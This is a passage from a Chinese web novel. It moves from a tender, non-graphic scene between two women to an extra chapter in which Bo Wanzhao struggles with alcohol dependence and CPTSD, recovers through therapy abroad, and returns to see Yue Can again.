“嗯。”洛扬叹了叹,招架不住,顺势揽过她吻更深,“不是不习惯我们这样吗?” 钟然红着脸笑,还在眷恋亲个不停,越来越熟练,“我习惯得快。” 洛扬:“我还以为你不喜欢。” 钟然亲着她嘴唇,不想她胡思乱想,“没不喜欢……特别喜欢……” 洛扬满足笑。 亲吻越来越不纯洁,拥抱也是,辗转间床笫凌乱一片。 两人折腾许久才结束,激情褪去后,疲累又温暖地抱在一起。 钟然抬眼,发现洛扬直直盯着自己,她软绵绵笑,洛扬一直都在用这种眼神看她,只是她太迟钝,真的有点笨。 折腾完不太有睡意,钟然拉着洛扬的手玩,心血来潮用小指勾住洛扬的小指,做了一个拉钩的动作,她们小时候常这样。 洛扬笑她幼稚。 钟然扯了扯她手指,“你记得小时候我们怎么约定的?” 洛扬勾紧了手指,“要一辈子在一起。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 87、番外·经年 离开南夏一月有余,生活并没有薄晚照想象中宁静,京海干燥少雨,多晴朗,但她梦中的雨没有停过。 噩梦宛如一片无边沼泽,她始终找不到出口。 她频繁梦到越灿,但梦境里没有曾经的欢笑和温暖,只有无措哭泣和歇斯底里。她梦到自己越来越像她母亲…… 深夜漫长,薄晚照不知何时蜷在沙发角落睡了过去,惊醒时是凌晨两点,她坐起身,眼尾湿润,目之所及是满屋沉寂。 空气中充斥着酒精味道。 薄晚照揉了揉额角,过度的酒精刺激让心率过速,反胃恶心。离开南夏后,她开始依赖酒精入睡,明明以前那么厌恶这个气味。眼前的空间不大,京海市寸土寸金,她租住的这间公寓面积不到四十平,和南夏的出租屋一样局促紧凑。 她怔怔。 又想南夏了。 房间狭小,孤独却看不到尽头,这种孤独带来溺水般的窒息压抑。她每晚都在经历。 浑身又开始轻颤,薄晚照深呼吸着,埋头环抱着曲起的双膝,像是自己用拥抱安抚自己,不太有用,思绪像逃离了控制,不断失控回溯。 “希望我们离得近一点。”“我抱着你睡,不再做噩梦了。”“我们现在算什么关系?”“你为什么不敢承认喜欢我?” …… 这些画面不知是第多少次闪过脑海,薄晚照闷着头,感觉心脏的位置反复抽疼,又有私心膨胀——如果没有拒绝越灿,现在的情况会不会好一些?半夜醒来往往意味着漫长的失眠。 薄晚照拿过手机看了看,习惯性刷着朋友圈,片刻,她目光长久滞住,越灿来京海了,发了仅她一个人可见的动态。 越灿陆续发了几条仅她可见的朋友圈,像是在等待回复。 薄晚照盯着屏幕上的照片,眼眶灼热,她清楚自己只要主动联系,越灿会不顾一切陪在她身边。 她有一丝动摇,或许可以借醉打个电话?喝多了,多好的借口。 指尖划过屏幕,轻轻颤着,她还是没有拨通熟悉的号码,只是像往常一样,将越灿发的照片保存。 心口泛起巨大的恶心,薄晚照忍受不住,匆匆往洗手间走去,在马桶前吐得很凶,连胃酸都吐了出来。 良久,她喘着气起身,弯腰用冷水洗了把脸,碎发被打湿黏糊糊粘在脸庞,她凝神看着镜子里醉醺醺的人,失魂落魄,竟觉得陌生。 怎么变成这样了? 来京海后,整个人又瘦了一圈,此时能用骨瘦如柴来形容,脸庞憔悴疲惫,眼圈红肿,脸颊挂着狼狈不堪的泪痕,不知道什么时候又哭得泪流满面,她现在似乎完全控制不住自己的情绪。 早在离开南夏之前,她就知道自己的状态越来越差,那天听到越灿对她认真的表白,她有欢喜,但更多是悲伤难过。 如果自己不这么糟糕,那她一定会迫不及待接受越灿的热情和喜欢,心动得太强烈。她真的很想喜欢这个总是阳光的女孩。但她又警告自己,不能凭一己之私,把太阳拽进泥泞。没有自己,越灿会有更轻松明媚的生活,这才是越灿本该有的人生。薄晚照盯着镜子里的自己许久,更确定自己淡出越灿的生活是对的。她这模样压根就不值得任何人喜欢,更别说是越灿。没什么是时间冲不淡的,越灿身边还有很多人,越灿会忘了她,继续顺风顺水的生活。事实也如此,她偷偷观望,看到越灿逐渐回归了无忧无虑的生活,充实而精彩。这是理所应当的走向,毕竟她对越灿来说,终究是可有可无的存在。或许是被自己酗酒的模样吓到了,意识到精神状态愈加糟糕后,薄晚照开始戒酒,更积极主动地接受治疗。尽管药物能稳住一定的情绪,让应激反应不那么折磨,但整个人还是处于浑浑噩噩的状态,看不到丝毫希望。为了对抗虚无,她将所有精力都放在了事业上,工作和治病这两件事机械般填满生活,每一天都累得喘不过气。她想就算哪天猝死,也毫不意外。转眼入冬,京海的冬天比南夏要冷。连续高强度加班半个月后,薄晚照心力交瘁,她孤零零走出写字楼,在寒冷的深夜偶遇到一点点的安慰。 草丛里窜出一只三花猫,软声朝她叫。 薄晚照浅笑了下,从包里拿出零食投喂,不是第一次了,所以小猫时常来等她。 她摸着小猫脑袋,忽而轻声呢喃:"脏脏包。" 眼眶霎时便红了。 同事撞见过她投喂流浪猫,都露出不可思议的神情,平时看着那么冷情的人,对流浪猫却有爱心。 冬季越来越冷,某个周末,薄晚照将小猫带回了家,正式收养。因为这只小猫和脏脏包长得太像,她就叫它小脏脏包。 小脏脏包也很粘人,喜欢往人怀里钻,薄晚照时常把她抱在怀里,也是种拥抱。 小猫的到来给她的生活添了些新鲜活力,让日子稍稍不那么无趣乏味。 事业也还算顺利,不久她又争取到派遣海外的岗位,她如愿以偿远离了南夏,可却又时常想起南夏。 出国时,她还带着一个收藏盒,盒子里有一部旧手机,一条手串,一枚平安符,一张储存卡,还有许多旧照片,她把为数不多的美好回忆一起带走了。 为数不多的美好回忆,都与越灿有关。 病情反复,实在难捱的时候,她就一遍遍看着这些回忆,也能汲取些能量。 虽然与越灿彻底失去联系,但薄晚照还是悄悄关注着越灿的社交平台,了解点点滴滴。 十九岁,越灿成为签约模特。 二十岁,越灿登上国内一线杂志,初露锋芒,小有名气。 二十一岁,越灿事业蒸蒸日上,风华正茂。 二十二岁,越灿大学毕业,回到南夏,成为自由模特。 …… 看越灿发在网络上的动态,变成了薄晚照改不掉的日常习惯,她看到越灿变得越来越成熟,又一如既往的笑容灿烂,她看到越灿身边多了许多新朋友,她看到越灿似乎恋爱了。 她一直都远远看着,没想过释怀。 她们距离很远,但她的生活中处处都有着越灿的影子。养了越灿最喜欢的小猫,转行到了时尚行业,逼自己按时吃饭,试着像越灿一样积极面对生活……她下意识做着跟越灿相关的事。国外的工作节奏稍慢,薄晚照花了更多精力放在心理治疗上,在国外她确诊了cptsd,复杂 创伤后应激障碍,童年长期遭受虐待的结果,比起ptsd需要更漫长的治疗周期。她的主治医师Grace是个温柔和善的中年女人,在治疗创伤应激方面很有经验。积极尝试各种治疗方案后,她的病情慢慢有所好转。后来在工作中,她遇到一个特立独行的年轻女人,她一眼就认出对方是越灿最喜欢的插画家。柏玉对薄晚照对初印象,觉得这个女人神秘疏离。为了拿到柏玉的签名画集,薄晚照千方百计和柏玉熟络。 柏玉原以为薄晚照对自己这么主动热情是想追自己,结果人家是另有所图,不过她看薄晚照挺顺眼的,两人还是成为了朋友。 薄晚照说自己有个朋友很喜欢她,问她能不能送对方一本签名画集。她为越灿做不了什么,这是为数不多的机会。 柏玉意外薄晚照会用恳求的口吻说话,答应了下来,当即给了薄晚照一本签名画集。 薄晚照又说不想暴露自己。 柏玉更意外了,多聊了几句,她没想到薄晚照还会玩暗恋情深的戏码。她答应了薄晚照的要求,以自己的名义给越灿寄画集,弄得她对越灿也好奇起来,在网络上成了朋友,后来回国她还特意去见了越灿一面。 当然,柏玉说到做到,从始至终都没对越灿暴露过薄晚照的存在。 在国外除了生活习惯不太适应,其他还算顺利。在Grace的推荐下,薄晚照加入了心理治疗的互助小组,在互助小组里,她碰到了同事赵茹,两人关系熟络起来。 不久之后,赵茹跟她表白了。她没有接受,她又回到了当初不想谈恋爱的状,说不想考虑感情问题。 赵茹以为她这是托词。 她如实告诉赵茹,自己心里有放不下的人。 赵茹将信将疑,后来在一次聚会上,大家聊到关于遗憾的话题,薄晚照被问有没有遗憾的事,她听到薄晚照说曾经错过一个很好的女孩,她才确信薄晚照的确有念念不忘的人。 心理治疗并没有一帆风顺,好在Grace是个很尽职负责的医生,薄晚照收到她不少鼓励,才在一次次崩溃中坚持下来。在治疗中,Grace发现她有对过去有很强的执念,会经常提到一个人的名字。 Grace知道这是她喜欢的一个女孩,她问薄晚照,既然念念不忘,为什么不尝试回头。 薄晚照回答,对方不跟自己在一起会过得更好。 Grace持反对意见,一个人不该代替另一个人做出选择,这本身是一种伤害,但她同时又理解薄晚照的困境,一个人病了,觉得自己浑身是刺,她如何能心安理得去拥抱自己喜欢的人? 起初Grace还劝她放下过去,不管坏的还是好的,一个人总是困在回忆里,没办法好好迎接新生活。薄晚照没被这位出色的心理医生劝动,后来Grace索性不劝她释怀了,问她有没有想过回去?这个问题薄晚照想过,还想过很多次,可想到越灿已经有了自己的生活,她回去只能是种打扰吧。Grace说不尝试永远只会停留在不可能。 薄晚照赞同她这个说法。 再后来的某一天,她打开时常擦拭的收藏盒,看着里面留下岁月痕迹的旧照片,坚定了想回去的念头,这个念头像颗种子留在她心底,经年累月生根发芽,再也压制不住。有了回南夏的想法后,她更积极乐观地接受治疗,效果明显,令Grace都惊讶不已。她靠运动纾解负面情绪,开始健身,好好照顾自己,让自己看起来更好记得一个春季的午后,她抬头望向蓝天,温热的日光包裹她,万物宁静美好,她终于有了站在太阳下的感觉。借着工作变动的机会,她如愿以偿再次回到南夏,回到离开又想念了七年的城市,去见想见的人。如果遗憾还有可能弥补,她会竭尽所能;如果不能,她会大方祝福。这就是她的计划,不论结果如何,她都想尝试着再一次靠近越灿。薄晚照回到南夏恰逢夏季,炎热躁动。 她再见到越灿,是在谭茗安排的一场晚宴上,见面比她计划中更早,她没想到越灿会突然出现…… 时隔多年,她还是第一眼就捕捉到了越灿的身影,恣意张扬,看到曾经青涩的女孩一身成熟地朝她走过来,似经年一梦。 薄晚照心跳猛烈,又极力保持着冷静,不让自己失态。重复幻想过多少遍,鼓足了多少勇气,就为了此刻能站在她面前,说一声“好久不见”。